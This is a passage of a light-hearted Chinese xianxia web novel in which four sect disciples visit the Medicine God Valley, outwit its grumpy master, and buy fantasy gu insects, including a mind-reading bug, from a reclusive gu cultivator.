在药神谷令牌的指引下,几人很快便找到了药神谷的所在之处。谷如其名,搭建在一个山谷之中:灵气茂盛,周遭的树木比寻常的壮大一倍有余;依山傍水,高高的山顶上盖着如雪的月光,蜿蜒的溪流伴着谷中每一块草地。 药神谷和谷神森林几乎融为一体。她们就地取材,所有的房屋都是由木头搭建,不管是高大的殿宇,还是一些零散的小木屋,皆是绿叶藤蔓装饰着木色,搭在树枝上或者被藤蔓支撑着荡在两棵树中间;甚至有直接堆起来一个地洞,只瞧见一扇木门的,和普通的住所很有不同,别具特色。 外头的谷神森林分明是那么可怖阴暗,但药神谷中景色开阔,夜色透明而清亮;月光洒在溪水和树木上,飘出星星点点的光亮,灵气竟然充沛到如此满溢而出。 这会儿已是夜深,谷中没有多少人,但各处的小房屋亮起了橙黄的灯光,抬眼望去,像误入深林中发现了一片萤火虫的群落。 曾换月见此情此景,联想到小时候看过的一部有关精灵的动画片,那些神奇小生命居住的精灵山谷,仿佛就像如今眼前的一切。 哇塞,她心想,其实药神谷这些弟子都是小精灵吧? “你们的山谷很漂亮。”石映心发出一句赞美。 “是吧?”屠芜满意抬起下巴,“很多外门弟子在来之前都以为我们在山沟沟里啃草根吃树皮和蟑螂蛇虫一起就寝这么过着凄惨日子呢。” “真的假的?”顾梦真打量着周遭,分神说,“你们药神谷是八大洲最主要的丹药产出地,肯定老有钱了,不可能过凄惨日子的。” 屠芜耸了下肩,不甚在意道:“还行吧,要那么多钱有什么用呢?” 顾梦真牙痒痒地瞅她一眼,酸不拉几道:“是啊是啊,你们炼丹的材料出个门就能采到,偌大的森林遍地都是,林子也不找你们要钱,简直是低成本高收益稳赚不赔啊,好羡慕哦。” 听他的羡慕,屠芜却闷声道:“没你想得那么容易。” 对顾梦真来说,能多赚少花的事就是再不容易他也是乐意去尝试的,但毕竟这是人家门派的事,最主要他也分不了这杯羹,于是便没多问,感叹道:“也是,万事都是有难有易的。” 因为时间不早了,屠芜便先给她们寻了住处休息,打算明早再带四 人参观药神谷和拜访谷主。 曾换月照例和师姐住在一起,她们被安排进了一个支在树枝上的小木屋,进门还要先飞上去。一进屋,就有隐约的木头和树叶的香气传来,温和不刺鼻;里头的家具全是木质的,但瞧着用材很好,一点也不简陋。 石映心摸了摸木桌道:“好木头。” 曾换月往床上一躺:“嘿,还挺舒服!” 转头见师姐倒了杯茶水喝,满意地点点头道:“好茶。” 曾换月噗嗤一声笑道:“师姐,没想到药神谷还挺不错的嘛,是不是?我大概是来之前把她们想得不太美妙,所以没抱多少期望……今日以来,才发现这谷中仙门别有一番趣味。”【】 180-190 第181章 石映心点头表示赞同,想到什么又问:“不过我还不太清楚,我们门派和药神谷当初是为什么才闹了矛盾?” “嘶,师姐你这么一问……”曾换月从床上坐起来,“我才发现我也不知道诶。” 二人:OO 石映心:“明日去问问屠芜。” 曾换月:“好啊!” 隔日。 一大早来接待客人的屠芜:“嗯?因为什么事……总之是有这么回事吧,具体的我也不清楚。你们知道吗?” “不知道啊。” 三人:OO 于是又去问了顾梦真和明易,得到的回复依旧是:“不清楚,只知道有这么回事。” 五人:OO 其实她们不知道的话,那大概率其他弟子也是“仅知道有这么回事”的程度,也就是说……她们双方仙门弟子就这么在不清不楚的情况下对彼此有意见了这么多年吗? 人云亦云真可怕啊。 五人皆有些感慨,但石映心还是想知道:“所以……当时到底是发生了什么事呢?” 屠芜想了想道:“我认识一个消息灵通的药商,反正今日也没什么事,不如我带你们去问问?” 药商?说到商一字那顾梦真就不困了啊,立刻打起精神道:“好啊好啊走啊走啊!” “不急。”屠芜道,“药商要在午后才来,现在时间还早,我先带你们去拜见谷主。” 药神谷的落桦谷主吗……几人脑海里冒出一个绿油油的、手上拿着一个枝条缠绕的法杖的老头的形象。此人她们都有些印象,毕竟在摘星大会的时候,似乎“为难”过映心。 记得这么清楚不是在故意记仇,只是年轻人脑子比较好;也明白落桦谷主不是针对映心,他只是平等地针对归壹派每一个人罢了。 顾梦真瞅了眼外边的天色,说:“你们谷主起这么早啊。” 屠芜:“上了年纪是这样的。” 大伙没忍住笑起来。屠芜还提醒道:“落桦谷主是弟子们公认的老顽童,平时对我们就没什么好脸色,更何况是你们四个归壹派的弟子。待会见了他,免不了要受些气,你们且忍忍,其实他最多只是嘴上说两句,奈何不了你们的。 四人乖乖点头。 走出门时曾换月又说:“这么大早过去怕是老顽童起床气还没消,要不你先带我们去用早膳吧!” “说得也是。”屠芜表示同意,一拍手说,“既然这样,我就带你们尝尝药神洲出名的米线吧。” 四人:“……除了米线都行。” 了解四人的经历之后,屠芜哈哈笑道:“原来是仙门驿站出来的那个小集市啊,确实有很多热情的大娘大爷,价格是贵些,但味道还是不错的。咳咳,不是我自夸,论美食,药神洲还是比你们那要略胜一筹的,又特色又好吃。” 说着说着介绍起来:“我们药神谷虽然没有归壹派大,但膳堂比你们多一个,一共有东西南北中五个膳堂,各有千秋。比如做米线最好吃的是东膳堂,做早膳最好吃的是南膳堂,做菌子最好吃的是西膳堂……” 不知道多一个膳堂有啥好炫耀的嘞。曾换月咽了咽口水道:“噢,你们这吃菌子很出名!” 石映心:“菌子是什么?” 顾梦真:“就是香菇啦。” “才不是呢,”屠芜解释道,“香菇只是菌子中最常见的一种,我们这多的是你们没见过的菌子,不过现在时候还早,西膳堂还没开,晚上再请你们吃菌子暖锅见见世面。” 曾换月:“好啊好啊!!” 不过现在还是大早上,就先去吃南膳堂的早膳好了。几人就爱选一些没见过的,什么米浆粑粑、烧饵块、破酥包,蒸饵丝等等……屠芜目瞪口呆地见她们拿了满满一桌,嘴角微抽道:“这么多你们吃得下吗?” “吃得下才拿来的,绝不浪费!”曾换月保证道。 屠芜:“……其实明日还能再来吃的。” 顾梦真取来一双筷子:“明日还有明日要吃的。” 屠芜:…… 她瞅了眼比较安静的石映心和明易:前者不语,只一味地进食进食进食;后者也不语,看着对这些食物也没什么欲望,只是不扫兴地夹几筷子慢条斯理地咀嚼咽下…… 这四人真是……她一时没想到合适的形容,只觉得和她刻板印象中的归壹派弟子的臭屁形象不同,感觉还蛮接地气的? 解完馋后就该去做正事了。 五人在谷主殿门口等了有好一会,才见方才进去通报的弟子出来,朝屠芜颔首道:“屠芜师妹,你师父落叶长老也在里头。” 屠芜似有些惊讶:“师父回来了?” 说着摸了摸腰间储物袋的位置,明显松了口气。 “是,几位请进吧。” 四人在屠芜的带领下进了谷主殿。就见厅堂之中坐着两个老头,居主位的是她们见过的落桦谷主,边上那位应就是屠芜的师父落叶长老。 屠芜一一问好:“弟子屠芜拜见落桦谷主、师父。” 归壹派四人也跟着问了好,自我介绍。 落桦慢悠悠地喝了口茶水,乜过几人算是打量:“无事不登三宝殿,你们千里迢迢地从归壹派来此,不知有何要事?” 明易客客气气道:“若非要事,不敢来叨扰谷主,是因果牌的指示。” 说着变出因果牌来递上。 落桦瞅了一眼,不客气地用法术取来手中,前后打量着:“开天辟地,石破天惊……药神谷屠芜?” 说着看向左边上落叶:“落叶,怎么有你徒儿的事?” 落叶长老有些意外地看了眼徒弟,见对方摇摇头,便心中有数了:“谷主,因果牌本就是不可窥探之天机,我等不能揣摩。屠芜是我放在眼皮子底下教导的徒弟,虽不算乖巧听话,但不至于做出格的事。” 屠芜:…… “屠芜,”落桦又问他徒弟,“你自己说说。” 屠芜:“弟子不知。” 落桦似有些不满意,看向明易道:“明小友,这万事树因果牌一百年来都是你们归壹派在管理,你总不会不知道吧?” 明易说:“因果牌只是会给出提示,比如此行便让我们和屠道友接触;至于具体是何事……等时机到来便会水落石出。” 落桦竖起一根眉毛:“时机?哼,真是一个好借口,那你们几个在我药神谷做什么都是应当的?该不是在糊弄我!” 明易不卑不亢道:“因果牌的情况,谷主派人一查便知,晚辈不敢糊弄。” 落桦厉声了些:“连来干什么的都说不清楚,叫我如何放心让你们在谷中东游西逛?竟还想拉上我谷中弟子一同胡闹。” 听到这的曾换月嘴巴一张…… 石映心拉了拉她的手,朝她摇了摇头。 曾换月翻了个白眼,咬牙切齿地把嘴巴闭上,这时只听刚刚拉住她的师姐发言了:“我们不过是受因果牌指使的普通弟子,只是完成它的任务便费尽心思了;但谷主就不一样了,德高望重、见多识广,想来一定明白因果牌上那八字的意思。” 落桦:O0? 她大师兄紧跟着道:“谷主,我们昨晚子时才到的药神谷,不能第一时间来拜见您,今日一早便请屠道友为我们引见。 一是为表我们几人对谷主的尊重,二是想请教谷主关于因果牌上八字的含义。” 落桦:0O? 这老头听到这已经有些没反应过来了,曾换月比他反应快,嘴巴一张就是跟团:“对啊对啊,先前我们去了合欢宗天机阁还有梵音门,都是他们的长老帮忙解开的谜题!” 落桦:“什……” 顾梦真也不甘示弱道:“咳!方才落叶谷主说得不错,因果牌是什么……额,不可窥探之天机?我们这些小弟子猜不出来的,只好仰仗博学多闻的落桦谷主您了啊!” 等、等下—— 他本想利用此事下个马威,叫这几个归壹派来的小兔崽子在药神谷夹着尾巴做事,怎么突然话题就变成向他请教因果牌上的难题? 原以为要和他们拉扯几句,现在他就这么被“德高望重”“见多识广”给架起来了?还说什么在其他仙门都是长老帮忙解的谜…… 他压根就没思考因果牌的事啊,只是拿这玩意做文章罢了! 好在因果牌还在他手上,落桦连忙很不经意地瞥了眼:开天辟地,石破天惊…… 什么玩意?? 就在这时,屠芜说话了:“谷主是我们药神谷最神通广大的人物,这等小事对他来说根本不在话下。” 落叶长老微微一笑:“不错。” 落桦:。 片刻的沉默过后,在六人期待的眼神中,药神谷最神通广大的人物说话了:“几只小兔崽子,这分明是你们的任务,竟想在我这投机取巧地抄近道?我怎能像合欢宗那些溺爱小辈的老头一般纵容你们?今日本谷主就要教你们自力更生的道理!给你们五日的时限,赶紧弄清楚因果牌是怎么回事!” 明易应和道:“晚辈谢谷主教导,这几日要在贵仙门叨扰了。” “行行行。”落桦谷主挥挥手,“别惹是生非便行!都退下吧,本谷主没时间再应付你们。” 几人才不想留下,马不停蹄地溜了。如此算是过了一关。 到了殿外,曾换月哈哈大笑道:“还是师姐你聪明,居然用上了捧杀这一套!” 石映心眨巴眼睛:“捧杀是什么意思?” “捧杀就是……”曾换月想了想,“把对方的实力拔高到一个夸张的高度,然后以此高度的难题为难他,让他因为解决不了而感到困扰……你看,落桦谷主知道自己解不开因果牌的谜题,所以怕丢脸,赶紧放我们走了!” 石映心点点头说:“原来是这样。我只是猜到他想故意为难我们,所以想先为难他罢了。” 顾梦真一拍手道:“现在好了,谁都别为难谁,哈哈哈!” 明易也看着师妹道:“要不是映心,还不知道要和落桦谷主在因果牌的事上拉扯多久。” 石映心被三人这么夸,心中也有些膨胀:“原来我比我想象的还要聪明。” “……”因为某些人并没有避讳她所以旁听了一切的屠芜,“我方才是真的以为你们在夸谷主,还心说你们真敬老尊贤。” 顾梦真:“我们就是啊。” 曾换月:“差点不是。” 总之是这么回事。 第182章 过完第一大难关之后,几人的心情都轻松不少。屠芜先是让他们换下归壹派的门服,免得惹来其他弟子的注意;之后带着低调的几人简略参观了一圈药神谷,便让他们回去休息一会,等午后药商过来。 曾换月:“那午膳呢?” 屠芜:“……等会带你们去吃行了吧。” 短短几个时辰的相处,她总感觉有几位的心思不在正事上。 午膳吃了特色手抓饭,木瓜鸡,菜包鱼。 因为吃得太饱,午休很好睡;睡醒后个个精神十足,容光焕发。屠芜瞅几人的神色,怀疑她们是休沐游玩来了,不然任务当头,怎么有这么美的心情吃好睡好的? “走吧。”石映心打了个哈欠,“药商在哪?” 屠芜一言难尽道:“你们归壹派的弟子都是这般……会过日子的吗?” 意识到对方在觉得他们有些不务正业,明易不得不解释一句:“如今任务未明朗,还不值得着急。” “对啊对啊。”曾换月道,“而且我们早上已经跟着你逛过了药神谷,这不是无事发生吗?那瞎着急啥呢,时机未到啦。” 石映心四字真言:“嗯,师父说要顺其自然。” “原来你们是这么想的。”屠芜无奈笑了一声,“若是我的话就很着急了。说到这个,别忘了谷主给你们的时限,一定要在五日之内弄清因果牌上的任务是怎么回事。” 顾梦真挥挥手道:“嗐,这有什么关系,一般情况下五日也就够了;实在没查出来就随便编个事儿呗,反正他话里的意思要我们在五日内弄清怎么回事,又没说要我们解决了。就是解决不了,难道你们谷主还能无视八大洲关于因果牌的约定把我们赶走不成?” 屠芜:……好有道理。 她呵了一声,以崭新的目光打量起几人:“没想到你们归壹派的人都这么狡猾机智啊?” 曾换月:“过奖过奖,也就比你们药神谷的强一点吧!” 屠芜:………… 虽说这是带着点阴阳怪气的夸奖,但对方这么得意的模样竟然叫她有些不服气呢? 屠芜要带她们去见的人是和药神谷长期合作的药商之一,此人名叫白桑,是一个衣着潦草、灰头土脸的大叔…… “管谁叫大叔嘎?老娘是女的!”白桑给了顾梦真一个白眼,没好气道,“小伙子年纪轻轻眼神咋个有毛病?给要买几株明目的枸杞子吃吃?” 顾梦真年纪轻轻的嫩脸一红:“对不住啊白大姐,是我眼拙……” 白桑重哼一声:“你人还没走近,眼珠子就盯着我桌上的东西挪不开,压根没给我一个正眼,难为你看错嘎?” 顾梦真懊恼方才自己一心想做生意,不好意思道:“对不住对不住!!枸杞子是哪个啊?我买一些好了……” 白桑却没说,瞥他一眼居然哈哈大笑起来。就在顾梦真疑惑之时,屠芜在边上解释道:“白大姐逗你玩呢,她平时着装随意、不修边幅,常常被人认作是男人,习以为常了早就,估计看你是新面孔,想耍你一下。” 顾梦真:…… 真是有委屈不能言,毕竟也是他错在先。瞅了眼边上偷笑的两个师妹,顾梦真叹了口气,只怪自己光看商品不看商人。 白桑耍完人之后就朝屠芜道:“小芜,你先前托我找的万蛇草找到了。” 万蛇草?几人好奇地投去目光。 屠芜惊喜道:“真的吗白大姐?快给我瞧瞧!” 白桑手腕一转,手心上便浮起一团灵光,被灵光包裹着的是一株黑绿的草,见其他人好奇的目光,她解释道:“万蛇草因长得像蛇而得名,是一种长在罗宝山石窟中的一种稀奇草药,每年只长半月,因当地天气变化多端,早几日晚几日都有可能,去晚了就死光了。” 屠芜看着灵光中像小蛇一般弯扭着身躯的草,显然有些激动:“真是万蛇草……多少灵石?” 白桑大方道:“你是我十几年的老顾客,算你七百灵石。” 七百灵石!?? 比起归壹派四人的大吃一惊,屠芜则是毫无波澜,非常熟练地拿出七张灵石票把钱付了,小心地将万蛇草收入囊中。 几个没见过世面的一时不知该感叹这万蛇草真贵还是屠芜真有钱…… 顾梦真忍不住道:“这是什么灵草居然要七百灵石?好像在哪听过这个万蛇草的名字,但我想不起来了。” “这草可稀罕得很,”白桑一边收钱一边说,“普天之下,只在药神洲罗宝山石窟中可以寻到。数量稀少不说,长在地里时,会像蛇一般藏在草里隐匿身形,草尖扭来扭去的还会咬人嘎!而且像蛇一般有剧毒。你还没瞅见它兴许它就先瞅见了你,咬你一口就完了嘎。” “哇,这么凶!”曾换月一耸肩,“那它有什么用处呢?” “用处啊?”白桑憨厚一笑,“不知道嘎。” 四人:OO? 石映心:“不知道是什么意思?” 白桑:“就是不知道嘎,大家只知道它像蛇,还有毒,不能吃。” “怪不得这么稀少的草却不怎么有名。”顾梦真嘴角一抽,“原来是因为还没人开发出它的用途……” “对啊。”白桑笑道,“所以就算稀奇,许多药商也不会冒风险去找这万蛇草;我也是凑巧经过那处,顺便替小芜碰碰运气罢了。” 她说到这个,明易便适时问屠芜:“不知屠道友买这株草有何用处?” 屠芜却不愿多说:“自有我的用途。” 石映心这时候问:“是不能和我们说的用途吗?” 屠芜顿了顿,看向她道:“也不算不能说,只是说来麻烦,也不是和你们有关的事。” “没事啊,你说嘛,”曾换月笑眯眯道,“我们还挺爱管闲事的。你说来听听,我们看看能不能帮上你的忙?” 居然还有人说自己爱管闲事啊。屠芜有些犹豫地看 了几人一眼,嘴巴微张似要说什么事,忽然听后头有敲门声。 药神谷给每位药商都安排了一个小木屋做生意,有人敲门说明有生意上门。白桑高声喊道:“进来嘎!” 门被打开,一个穿着异族服饰的年轻女人进门来,脸色严肃中带着些着急;一进屋就打量了屋里的几人,最后牢牢锁定其中一个:“芜姐姐!” “翠衣?”屠芜一愣,“你怎么这么早就回来了?” “芜姐姐……”戴翠衣几乎是扑了上来,抓住了屠芜的双臂,这几步间已经落下了眼泪,“这次你一定要帮帮我……” 屠芜见她哭了,惊讶道:“你……发生什么事了?你不是回去成亲了吗?” 戴翠衣流着泪说:“吴哥哥他……他……他死了……” 这下屋里的人都愣了。 白桑还要做生意,几人不好留在这里说事;屠芜带她们去了自己的小木屋,给一流泪就流个没停的戴翠衣倒了杯茶水,有些不知如何安抚她,说来说去也就那几个字:“节哀顺变。” 喜事变丧事,实在是天意弄人。戴翠衣压根注意不到边上几个陌生人的存在,几个陌生人也安安静静地不敢说话,就这么听她哭了好一会。还是屠芜先忍不了了:“要不你先回去哭够了再来,我这还有旁的事呢。” 戴翠衣抽抽鼻子:“芜姐姐,难道你不伤心吗?” “我有什么好伤心的,”屠芜实诚道,“压根不认识你那个吴哥哥,如今他未同你成亲就死了,更是和我半毛钱关系没有。我看在你是我表妹的份上才宽慰你几句,要不然这事就当没听过也行。” 戴翠衣:OO? 不等她再说什么,屠芜又噼里啪啦道:“我说你也没必要这么伤心吧?就算他是你青梅竹马、指腹为婚的好情人又如何,你十岁就来了药神谷,每年不过回去几日和他谈朋友,如今十七就急着回去成亲,有这么深厚的感情吗?” 戴翠衣:…… “我和吴哥哥是……” “还有啊,”屠芜瞥她一眼,“说真的,一个月前你要走的时候,可是整个屋子都搬空了,还送了我平日珍惜的草药做礼物,是不是压根没想再回来了?” “没、没,我只是……” 屠芜的语气越说越冷飕飕,说到这还冷哼一声:“怎么,是觉得回去当个好妻子,日日卯正起来烙那该死的饼也比在药神谷做风光仙门弟子的时候要幸福?” 戴翠衣:………… 她彻底没话说了,这下连眼泪都流干了。 竖着耳朵听了屠芜这几段话,四个爱管闲事的人都知道是怎么回事了,面面相觑之后,就听小师妹传密音道:“虽说咱们爱管闲事,但也不是事事都管的,我看这情情爱爱的事咱们就不适合管,要不先撤了吧?” 顾梦真表示同意:“好啊好啊,其实我还想去别的药商那里看看来着。” 石映心显然也对戴翠衣没了兴致:“我也要去。” 明易听了师妹师弟的话,客气地对屠芜道:“屠道友,既然你有事在身,那我们先走一步,稍后再来。” 屠芜瞥了眼红眼睛的表妹,已经预想到接下来费尽口舌的场面,她多想也直接一走了之啊,可谁叫对方是她的亲表妹呢? “……好。” 四人逃离现场后又回到了药商那一排小木屋,当逛街似的挨个看了遍,别说还挺长见识的,好多都是药神洲才有的、外边非常少见的稀奇玩意。顾梦真这下是没忍住了,花钱买了不少东西,打算带回去炼丹炼器用。 第183章 明易则是发现很多药商的花草虫蛇都在金花仙尊清单册子上,他趁着二师弟不暇顾及时买了些价格实惠的,算是还记得他的叮嘱;其他贵一些的,就问那些药商是在哪采集的,之后看有没有顺便路过的时候。 一排屋子问下来,收获满满,转头一看,两个师妹早就不见了身影。 明易习以为常地不着急。 石映心被小师妹拉着,哪里有热闹就往哪里凑。她们二人是跑得最快、看得最潦草的,因为曾换月对那些草药不感兴趣,看到丑陋的虫蛇还会犯恶心,但偏偏这些药商带来的都是这些玩意,她瞥一眼就要拉着师姐走了。 二人在聚集得越来越多的药神谷弟子中穿梭,像一片绿油油树叶中飞行的异色鸟儿,四处乱窜。 “无聊,无聊!”瞎逛了有一会,曾换月叹了口气,对师姐吐槽道,“药神谷都是这些花啊草的,刚来的时候看得新奇,看没多久就无聊了。而且植株茂盛的地方还有很多虫子,她们也不喷个除虫药什么的。” 石映心一巴掌吓跑手背上的不知名虫子:“毕竟我们不是药神谷的弟子,对这些一窍不通。” “唉……”曾换月唉声叹气着,但闲不住的眼珠子还在乱溜达,这一下又看到什么,眉头一挑道,“咦师姐,你看那边怎么这么多人呢?我们去瞧瞧!” 石映心反正去哪都行:“走吧。” 二人走近了,就见一小木屋前围着好多人,关着的门外排着一条五人的队伍。 “奇怪,”曾换月道,“为何围观的人这么多,排队的人却这么少呢?” 石映心扫了眼人群:“大概都是来看热闹的……” 话音未落,她忽然把头一扭,对边上一个陌生弟子问:“请问这是卖什么的药商?” 那弟子指了指自己:“啊,你问我?” 石映心颔首肯定他:“是你。” 陌生弟子瞅她的打扮,挠挠头道:“我看你们二人都没穿我们药神谷的门服,应是外门弟子吧?怪不得不知道;这间屋子里做生意的不是药商,而是我们谷中最有名的蛊修屠莱,屠师兄。” 石映心冒了个问号:“蛊修?” 边上听着的曾换月倒是有印象:“啊,就是那个……一千人里难得出一个的蛊修?” “不错,就是他。”陌生弟子面露艳羡道,“蛊修难得,厉害的蛊修更是凤毛麟角;屠师兄既是蛊修,又有卓越的天赋,算是我们这一代弟子里最厉害的人物了!” “哇。”曾换月对天才的认知只是她大师兄和师姐,并不觉得别人会有多厉害,不过这会还是要敷衍地惊叹一下,给对方点情绪价值,“那他在里面卖什么啊?” 陌生弟子:“他既然是蛊修,自然是卖各种各样的蛊。” 石映心:“比如哪种哪样?” “额……这我就不太清楚了,屠师兄卖蛊是有规矩的。”这位弟子耐心给二人解释道,“进屋后他会问你要买什么,你就说想要什么什么样的蛊,如果有他会卖给你;没有的话就会请你出去……” 曾换月若有所思:“原来是这样……他的蛊贵吗?” “一分钱一分货啦。” “我们知晓了,多谢。” “不客气……对了,还没问你们是哪个宗门的弟子?” 石映心和师妹对了个眼神:“合欢宗。” 曾换月:“天机阁。” 陌生弟子:oO? 沉默一瞬:“天机阁。” “合欢宗。” 陌生弟子:Oo? 石映心伸手捂住师妹的嘴:“我是合欢宗的弟子,她是天机阁的,我们二人是多年的异门好友,这次相约来药神谷游玩。” 曾换月连连点头:“唔唔!” “……哦,原来是这样啊,哈哈。” 说谎是为了这位好心的陌生弟子着想,就怕他得知她们二人是归壹派的弟子后,一次热心换来终身懊恼。 石映心:贴心。 曾换月:稳妥。 二人换了个位置围观,小师妹对师姐说:“师姐,我们进去瞅瞅呗?” 石映心问:“你可有要买的?” “没有啊,就是想瞅瞅。到时他问我们要什么样的蛊,我们就瞎编一个根本不存在的,这样就会被请出来了。”曾换月抱着师姐的胳膊摇了摇,“就进去看看嘛~来都来了~” 石映心觉得自己已经中蛊了,蛊的名字叫“来都来了”:“……反正大师兄不在。” “嘿嘿对啊!”曾换月勾起奸诈的笑容,“走呗走呗去排队!” 她们在门口排了有一刻钟的时候,明易和顾梦真一同找上来了,瞅见两个师妹在排队,疑惑地上前问什么情况。 这时二人已经排到了门口,下一位就是她们,自然不想在这功亏一篑。边上人多,隔墙有耳,小师妹给二人使眼色,又传密音道:“我啥也不买,就进去看看!” 明易微微摇头:“不要耽误人家做生意。” “哎呀,那要是有我想要的我也会买的,”曾换月毫不心虚道,“……前提是我买得起。” 石映心点点头:“我也这么想。” 顾梦真便问里边卖的是什么,听曾换月飞快地解释一番后,摸着下巴若有所思道:“蛊修炼制的蛊啊……确实少见,不过目前对我来说好像没有太大用处……对了,你们两个到时候多问一些价格,我看看这行的行情如何。” 曾换月翻个白眼:“行行行。” “映心,”明易在边上对师妹道,“若是真有什么想要的,灵石不够的话你同我说。” 石映心微微颔首,心中其实不太所谓,灵石不够就不买好了……虽然她压根不知道自己有多少灵石,大概是从来没有不够用的时候,所以也没在意过。 四人说话间,门前的木门被打开了,冒出来一张压抑着欣喜的脸,是她们前边的客人。这会抿着笑朝她们颔首道:“下一位请进吧。” “……到我们了!”曾换月撇下话说到一半的二师兄,拉着师姐蹿入门中。 不等外头的两个师兄反应过来再看两眼屋里头的景况,只听门“砰”地一声,不重不轻地关上了。 二人对视一眼,在彼此眼中看到一些无奈。 进了屋后,先是扑面而来一阵阴冷,曾换月好似感到大夏天去商场时一进门头顶吹来的那阵风,哗一下全身透凉,鸡皮疙瘩都要起来。 明明是青天白日,屋内却很昏暗,日光透过窗户的缝隙漏进来几条,屋内分散地点着没精气神的蜡烛火焰;东一点西一点的光,勉强将眼前的景况照亮。 这间小木屋和其他小木屋的格局规模没有什么不同,不过其他药商的桌上都摆得满满当当,但面前这张桌子上却空无一物;桌后坐着一个穿着冬日衣袍的男人,面色在昏暗之中也显得分外苍白。 对于正在好奇地打量着屋里的二人,他只是掀起眼皮来懒散地瞅了一眼,没怎么用力地说话道:“想要什么?” “哦……”曾换月从几乎什么都没有的屋里收回视线,报出自己早就想好的东西,“我想要……能操控人的蛊,就是把对方变成自己的傀儡、让他干什么他就干什么的那种。” 屠莱没应和她,转而又问石映心:“你想要什么?” 师妹说要“为难”这个蛊修,方才还给石映心支了招呢:“我想要……可以杀人于无形的蛊。” 曾换月好奇地看向屠莱:“怎么样,我们要的东西你有没有?” 屠莱方才掀起来看二人的眼皮这会耷拉下去,他转手变了两个小木盒出来,在桌上一递:“请。” 曾换月一惊,心说这种玩意他怎么还真有啊!?一时惊讶大过于其他想法,也顾不上问多少钱了,伸手去拿桌上的盒子想要打开看个究竟。可不等她碰到木盒,后者却“砰”地一声先行弹开,有什么东西猛地从里头跳了出来—— 咻! ——啪叽。 剑光乍闪,不过眨眼之间,剑修已然收回了剑,桌上落了一只被切成两半的棕色虫子。 一切发生得飞快,曾换月压根没反应过来,等她的视线落在那只还在流黑血的恶心虫子身上时,才感到一阵发寒,要是被这玩意咬了,那…… 这时候听到她师姐冷冰冰的声音:“我们是来和你做生意的,你做什么?” 屠莱冷漠道:“想做这种肮脏的生意,你们找错人了。” 石映心听得不解:“什么是肮脏的生意?” “把人变成傀儡的蛊,杀人于无形的蛊……”屠莱嗤笑一声,“买这些害人的东西,难道你们心思不肮脏吗?” 石映心:说得也是哦。 提出这个主意的曾换月顿时感到心虚的冤枉,挠挠脸道:“这……我看话本上不都是这么写的吗?还有什么情蛊蚀骨蛊巴拉巴拉蛊……这对你们蛊修来说不是很常见吗?” 屠莱瞥她一眼:“是吗?所以你觉得药神谷会允许弟子在门派中贩卖这些害人的蛊虫?” 曾换月:……咦。 石映心:“没有便说没有,为何要放毒虫咬人?况且我们只是问问,又不是被你亲眼目睹在害人,暂且算是无辜,而你却已经出手加害我师妹。” 师姐说得真有道理:“就是就是!我们还没干嘛呢,你就是想替天行道也为时过早了吧?” “方才的毒虫毒性不强,只是会让你们暂时昏迷。”屠莱漫不经心地解释道,“毕竟来了两个包藏祸心的客人,我身为药神谷的弟子,亦是经仙门准许才做生意的药商,自然要将你们上交谷主问罪。” 第184章 曾换月闻言便抬起下巴道:“真巧了,我们便是得落桦谷主允许,可在你们药神谷大摇大摆做事的人!” 屠莱这才给了二人两个正眼:“你们?” 曾换月瞪大眼睛,气势十足:“我们怎么了!” 屠莱挪开视线:“没怎么。既然方才是误会一场,二位就请出去吧,我还要继续做生意。” 石映心:“我们是来和你做生意的。” 屠莱嘴角微微一扯,似有些鄙夷:“你们是外门弟子来凑热闹的,想试探我这罕见的蛊修有什么本事,并非真心要买蛊虫。像你们这样的人我见得多了。” 石映心闻言哪里还不明白:“所以你方才是故意放的虫。” “是啊。”他朝二人微笑一下,“满足你们想长见识的愿望。” 石映心瞅了眼桌上的死虫,怎么不算长了见识呢:“原来是这样,你这叫以德报怨吗?” 屠莱:……? 曾换月觉得他就是在报复她们耽误他做生意……虽然她确实目的不纯哈;可她想自己也没做什么伤天害理之事,凑个热闹满足一下好奇心怎么了?谁说她真不买了? 想到这,她双手叉腰,豪气道:“你这卖得最好的蛊虫是什么,我要了!” 别看她装豪气,其实心中有些斟酌的,“卖得最好”说明买的人多,那定不会多贵,她肯定能买得起。 屠莱瞥她一眼,将桌上两个小木盒收起,又变出一个新的木盒来,介绍道:“卖得最好的是这种‘打鸡血虫’,每逢大考前抱佛脚专用;一只可让人七日不吃不喝不睡不累,维持最好的精神状态修炼。不过七日后要补眠三日三夜。” 曾换月:……等下,这么善良又实用的吗? 这时师姐在边上说:“换月,适合你。” 曾换月:→→ 屠莱挑起眉毛看着她。 曾换月:←← “……切,那就来一只看看你这蛊修的水平如何。” 没想到价格还行,七十灵石一只。 成功卖出一只蛊虫后的屠莱总算没方才那种“你欠我五百灵石”的可恶模样了,语气稍稍不冷冰冰了些:“好了,二位请出去吧。” 石映心这时候说:“我还没买。” 屠莱:“杀人不眨眼的蛊虫是不允许贩卖的,药商在谷中贩卖的东西都要经过管事部的审核。” “方才那是开玩笑的,”石映心毫不羞耻地说,“我想买一只……能读心的蛊虫。” 这话一出,立刻就有两道目光落在她身上。 “师姐……”曾换月欲言又止,“你、你买这个有啥用啊?是不是有点浪费灵石了?要是二师兄知道了……” “能窥探人心的读心虫,怎么会是浪费灵石?”屠莱轻笑一声:“只是会让你的好师妹好师兄忌惮罢了。” 曾换月翻个大白眼:“嘚吧嘚吧什么呢,你知道啥呀!” 屠莱:…… 石映心给了师妹一个自认为靠谱的眼神:“听你的意思,是真有这样的蛊虫?” “自然是有的,”屠莱说着,变出一个青铜盒子来,一看就比木盒的贵,“读心虫能让人在神志不清的状态下吐露真话,时效半刻钟,一只蛊虫可用七次,且仅能对一人使用。” 曾换月:“多少一只?” 屠莱比了个手势:“三百灵石。” “三百灵石?!”曾换月跳了起来,“这也太贵了吧!只能用七次,一次只有半刻钟欸!” 屠莱瞥她一眼,冷傲道:“你以为世上这样的宝贝有很多吗?炼制这只读心虫可不简单,我手上也仅余下这一只。” “可是、这……”也许是挺稀奇的吧,曾换月后知后觉地想,但在师姐的本事面前就很不划算啊…… 屠莱没打算给她们太多考虑时间:“你们究竟要不要?” 方才二人说话的时候,石映心已经用灵石在储物钱袋子里数灵石了,她一口气数到三百灵石,也没看接下来还有多少,反正现在有这钱,于是很干脆地点头:“我要。” “啊?师姐你真的要……” 打断曾换月话的是一大堆灵石从石映心手上冒出来然后砸在桌上的声音,哗哗啦啦叮叮咚咚,看得二人目瞪口呆。不过一会,三百灵石就在桌上堆积成了一座小山。 屠莱深呼一口气,一言难尽地看向这位客人:“你没有灵石票吗?三百灵石只需要三张。” 石映心把桌边的青铜盒子收了起来:“没有。”平日鲜少用这么大额的钱。 